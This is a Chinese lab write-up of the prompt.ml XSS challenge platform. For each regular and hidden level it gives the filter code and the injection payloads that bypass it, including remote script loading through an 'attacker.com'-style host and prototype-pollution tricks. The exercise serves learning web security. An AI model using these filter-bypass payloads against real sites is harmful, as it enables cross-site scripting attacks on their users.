Prompt(1)to win练习
关于Prompt(1) to win
这是一个练习XSS攻击的在线平台
网址:http://prompt.ml
我主要使用的浏览器:Google Chrome
如果打不开这个网页可能是因为浏览器觉得它不安全所以屏蔽了,在设置中允许“弹出式窗口和重定向”即可。
打开后是这样的:
关于Level
平台主要有16个Level
和4个Hidden Level
,也就是说它总共有20道题目。
16个Level可通过点击界面中0到F的绿色按钮跳转
但是Hidden Level我一直没找到选择按钮,最后试了很久的URL才找到。
Hidden Level的URL:
Level | URL |
---|---|
Hidden Level -1 | http://prompt.ml/-1 |
Hidden Level -2 | http://prompt.ml/-2 |
Hidden Level -3 | http://prompt.ml/-3 |
Hidden Level -4 | http://prompt.ml/-4 |
挑战规则:
- 只有无需用户交互的XSS向量,才会被认定为有效的向量
- 当用户输入有效且能执行prompt(1)的向量时,会自动提交用户的答案。并显示YOU WON字样
参考:
- github上有英文解答,非常完整:
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml - 博客:
https://xz.aliyun.com/t/4507
https://blog.csdn.net/Ni9htMar3/article/details/77938899
https://lorexxar.cn/2015/07/02/xss-p/
https://blog.csdn.net/qq_35078631/article/details/77073233
我跟着github上的解答和博客动手做了一遍,但是有些无法成功,可能是因为浏览器修复了漏洞。
Level 0
这是个热身题
- 网上有好几种解答,都是使用
<script>
"><script>prompt(1)</script>//
"><script>prompt(1)</script><"
"><script>prompt(1)</script>
- 另外还做了其他XSS攻击的尝试:
(1)利用<img>
(2)利用alert()
payload:"><script>alert()</script><"
Level 1
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
使用了ExtJS库中的tags stripping机制。
stripTags()
:将提供字符串中的HTML标签进行替换并返回替换后的字符串。
JS正则表达式:regularexpression=/pattern/[switch]
列了几个常见的正则表达:
JS正则表达式 | 含义 |
---|---|
gi | 全局匹配 + 忽略大小写 |
\w+ | 多个英文字母或数字或下划线组成的 |
/? | 0个或1个“/” |
例如:
<a>
</span>
</dd/>
<INPUT/>
过滤了<>
里面含有内容的文件。
src与onload
- src引用的图片不存在则执行onerror事件
- onload事件会在页面或图像加载完成后立即发生
1. 使用//
注释了多出的<
payload:
<img src=# onerror="prompt(1)//
2. 在<body onload="load()">
:页面加载之后立即执行一段 JavaScript
payload:
<body onload="javascript:prompt(1);"
Level 2
代码:
input = input.replace(/[=(]/g, '');
[]
:中括号,匹配括号其中的一个
过滤了等号=
和左括号(
- 使用
svg
标签
svg
标签
- 即 Scalable Vector Graphics,是一种用来绘制矢量图的 HTML5 标签。
- svg标签中的元素会先进行编码转换,所以十进制下的
(
或者·(
;会被转换为(
- svg会提前将将XML实体解析再加入标签
- 在Firefox、Internet Explorer9、谷歌Chrome和Safari中,可以直接在HTML嵌入SVG代码。
payload:
<svg><script>prompt(1)</script></svg>
2. 使用eval()
函数
eval()
:函数可计算某个字符串,并执行其中的的JavaScript代码。
使用eval会自动解码执行。
payload:
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}\`</script>
Level 3
过滤注释和分隔符
注释输入以避免脚本执行
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
html可以–>或–!>闭合注释
payload:
--!><script>prompt(1)</script><!--
或者:
`--!><svg/οnlοad="prompt(1)"><!--`
Level 4
只允许如下站点的脚本 http://prompt.ml/js/test.js
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
输入:http://prompt.ml/js/test.js
并且在被允许输入的网址后添加引号会被转义
在URI中包含的%2f的都转成/
浏览器支持这样的url:http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com。
利用服务器构造,然后我们构造代码出来(本步骤需要有服务器)
<script src="http://prompt.ml%2f@hacker.sinaapp.com/test.html"></script>
这里我使用了Firefox浏览器。
构造一个文件"prompt(1)",内容为prompt(1)
开启phpstudy服务器
payload:
//prompt.ml%2f@localhost/xss.js
Level 5
代码:
input = input.replace(/>|on.+?=|focus/gi, '_');
过滤>
,和事件处理器onxxx=
,focus
利用image类型,将input的type类型覆盖,所以定义一个类型。再利用回车绕过onxxx=
payload:
"type= image src onerror
="prompt(1)
Level 6
需要输入的格式为url#表单内容
e.g. http://httpbin.org/post#{“name”:“Matt”}
按照例子正常输入得到:
以#
分割,前面赋给form.action,后面给form.data。
这里使用js伪协议。
- 真”协议用来在计算机之间传输数据包,比如http协议,ftp协议;
- 伪协议是一种非标准化的协议,让使用者可以通过链接来调用js函数。javascript(伪协议说明符):URL。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
例如:
//执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
//浏览器仅执行其中的javascript代码,但由于没有作为新文档来显示的值,因此它并不改变当前显示的文档。
javascript:alert("hello world!")
//打开一个新的空浏览器窗口,而不改变当前窗口的内容
javascript:window.open("about:blank"); void 0;
payload:
javascript:prompt(1)#{"action":1}
Level 7
以#
分割字符串,这里有长度的限制,只能包含12个字符。
1. 使用<svg>
:
payload:
"><svg/a=#"onload='/*#*/prompt(1)'
2: 利用<script>
标签的注释功能
payload:
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
//"
Level 8
code:
input = input.replace(/[\r\n</"]/g, '');
过滤了换行符\r\n
,左尖括号<
,引号"
逃脱出双引号或者本行,利用了unicode
U+2028,是Unicode中的行分隔符
U+2029,是Unicode中的段落分隔符。
--> 在js中可当注释使用
JSON uses a more limited set of white space characters than WhiteSpace and allows Unicode code points U+2028 and U+2029 to directly appear in JSONString literals without using an escape sequence. -----ECMAscript 5.1
JSON使用比WhiteSpace更加受限的一组空白字符,并允许Unicode代码点U + 2028和U + 2029直接出现在JSONString文字中,而不使用转义序列。
开发工具与右击检查的区别:
- 开发者工具看到的是编译后加载的所有源码,是最初下载的网页代码。
- 右键检查的只是当前页面显示的,经过ajax异步加载,js修改过的,需要动态执行JS才能获取。
Console:记录开发者开发过程中的日志信息,且可以作为与JS进行交互的命令行Shell。
如图找到开发者工具,在console中输入:'\u2028prompt(1)\u2028-->'
复制结果输入payload:
"
prompt(1)
-->"
截图更能看清,prompt(1)周围不是空格,是有两个红色的点
使用u2029
效果也是一样的
'\u2029prompt(1)\u2029-->'
Level 9
code:
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
过滤了开始标签<
,匹配尖括号加字母的形式,将<
后面的所有字符前全部加_
。
并把内容转为大写。
提供了一个示例you shall not pass!
toUpperCase():把字符串转换为大写,而且还可以转换一些unicode字符,可以将ſ
转换为S
,这里的ſ
字符应该是某个国家的unicode字符,转换后恰好对应s,因此可以完成绕过。
但是由于因为javascript对大小写敏感,,不识别PROMPT(1),因此使用加载远程的js脚本。
然后使用与Level 4 相同的方法。在本地服务器phpstudy目录的www文件夹内新建一个文件"xss.js",内容为prompt(1)
payload:
<ſcript/ſrc="http://localhost/xss.js"></ſcript>
Level A
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}
过滤了所有prompt
和'
,因此可以把prompt(1)
加上'
就可以使用第二个过滤刚好把'
过滤掉。
payload:
p'rompt(1)
Level B
过滤了一些特殊字符
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
将payload包装在括号中,然后使用in运算符将其连接到输出。
payload:
"(prompt(1))in"
Level C
encodeURIComponent(URIstring)
函数可把字符串作为 URI 组件进行编码。返回URIstring的副本,其中的某些字符将被十六进制的转义序列进行替换。
过滤了单引号'
,并把prompt
替换成alert
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
但是,.
和()
不编码,所以可以使用JavaScript函数toString()
。
toString()有一个可选参数toString(radix)
,此参数允许表示从二进制(基数2)到Base36的不同基数的数值。
找到一个足够大的基数来包含所需的所有字符,可以将字符串编码为一个数字,然后eval
转换的结果(数字>字符串)。
字符串prompt
在Base36中相当于1558153217
另外还要使用concat (1)
来正确使用eval
payload:
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
Level D
一个简单的图片插件
从Underscore库扩展方法
正确输入示例:
{"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
代码:
/[^\w:\/.]/.test(config.source)
符号 | 含义 |
---|---|
^ | 脱字符 |
[^] | 左方括号后紧跟一个脱字符,排除型字符组,匹配一个未列出的字符。 |
\w | 用于匹配字母,数字或下划线字符 |
main rules:
- 只能有一个
source
key source
key必须有一个有效的value
不然会被删除
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
方法:使用Object.prototype
的__proto__
特性
The proto property of Object.prototype is an accessor property (a getter function and a setter function) that exposes the internal [[Prototype]] (either an object or null) of the object through which it is accessed.
类似于这样的object:
{"source":"_-_invalid-URL_-_","__proto__":{"source":"my_evil_payload"}}`
但是URL是invalid,会触发delete
使用String.replace()
$` | Inserts the portion of the string that follows the matched substring
所以,注入如下:
{"source":"_-_invalid-URL_-_","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
payload:
{"source":{},"__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
Level E
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
-
转大写
-
仅允许从自己的主机或数据URI方案加载的图像
全局匹配,遇到//
,或者\w
后面跟:
(\w
匹配字母、数字、下划线。等价于’[A-Za-z0-9_]’),都替换成data:
-
杂项过滤
全局匹配,不区分大小写
\&+%
,\s
(匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。),或者vbs
都替换成_
限制:
1.代码在全大写情况下也能执行
2.不能从除了data:
以外的任何URI scheme载入任何东西
3.字符&
,%
被锁住了,不能使用十六进制或是进制编码的小写xss (�, \x00, %00,
等)
Data URI scheme是在RFC2397中定义的,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。
FireFox接受"BASE64"作为编码定义
payload:
<SCRIPT /
SRC =HTTPS:PMT1.ML> </SCRIPT <>
编码后:ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
payload:(但是Firefox和Chrome都没有成功)
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=
Level F
和Level 7很像,都是用#
把输入分割成段。
每个段被剥离到最大长度为15个字符,并用标签<p>
包裹。
与Level 7的区别:不能用JS注释/*
,并且,由于添加到每个段的"data-comment"属性,引用会被切掉。
方法:用<svg>
标签中的HTML注释<!--
隐藏junk
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>
payload:
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
Hidden Level -1
过滤了}
和<
用到了2个trick:
Hoisting
(Javascript)
it does not matter where you put your objects, if I find a declaration I’ll evaluate it first of all.
JavaScript hoists declarations
注入一个名为history的新对象的声明,其长度大到1337。这样它将被提升hoist并将用创建的新对象覆盖现有的history对象,并将绕过条件语句。
使用Function对象
String.replace()
trick with is useful pattern:$&
它的作用是在字符串中插入匹配的子字符串,正是我们正在寻找的,因为匹配的子字符串{{injection}}包含结束的大括号!
类似于这样的
if (history.length > 1337) {
// you can inject any code here
// as long as it will be executed
function history(l,o,r,e,m...1338 times...){{injection}}
prompt(1)
}
payload写成
function history(l,o,r,e,m, ....)$&prompt(1)
完整的2704字符的payload: chrome和Firefox都没有成功
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)
Hidden Level -2
function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!=*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');
return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '<p class="present" title="' + title.slice(0, 20) + '"></p>';
}).join('\n');
}
输入圣诞礼物,把输入以#
隔开
过滤字符
!=*`
告诉MSIE(至少在以较旧的文档模式加载页面时),可能存在某些类型的代码块,它们在JavaScript块中调用完全不同的解析器。此解析器遵循其自己的规则并允许包围完全无效的代码块而不会抛出任何语法错误。
payload:
"><script>@if(0)#@end;prompt(1)@if(0)#@end</script>
Internet Explorer 10标准模式和所有早期版本均支持条件编译。
没有成功,可能是因为浏览器版本太高。
Hidden Level -3
通过一次注入影响两种不同的上下文。一个是发送给Twitter的人的API调用,另一个是字符串连接到HTML元素。似乎无法注入新参数,绝对不能破坏HTML并创建新元素。
function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[&#>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return '<input name="query" type="hidden" value="' + query + '">' +
script.outerHTML;
}
payload:
"οnclick=prompt(1) id="a";callback=a.click;
攻击利用了过滤脚本和实际API之间的“误解”。 该脚本试图压制字符的使用,以允许突破或API参数的更改。 但我们可以通过使用来绕过它;
代替&
。然后,我们只是注入一个单击处理程序,它会监听并等待API实际触发事件,从而执行所需的提示。
请注意,最近API已更改,因此PoC不再工作。
Hidden Level -4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body οnlοad="think.out.of.the.box(' + input + ')">';
}
过滤了引号
这个Level提出了一个看似不可能的挑战,通常也可以在现实生活中进行注入。这个挑战,似乎与Hidden Level “-1”有关。 我们可以注入现有的onload事件属性,但是无法转义属性并创建新属性。
在注入之前,需要执行其他代码,这个代码产生错误来阻止我们自己的注入的代码。
payload:
)},{0:prompt(1
该解决方案可能适用于某些旧版本的Chrome,而对于其他版本,则需要使用不同的矢量。所以这个payload也不成功。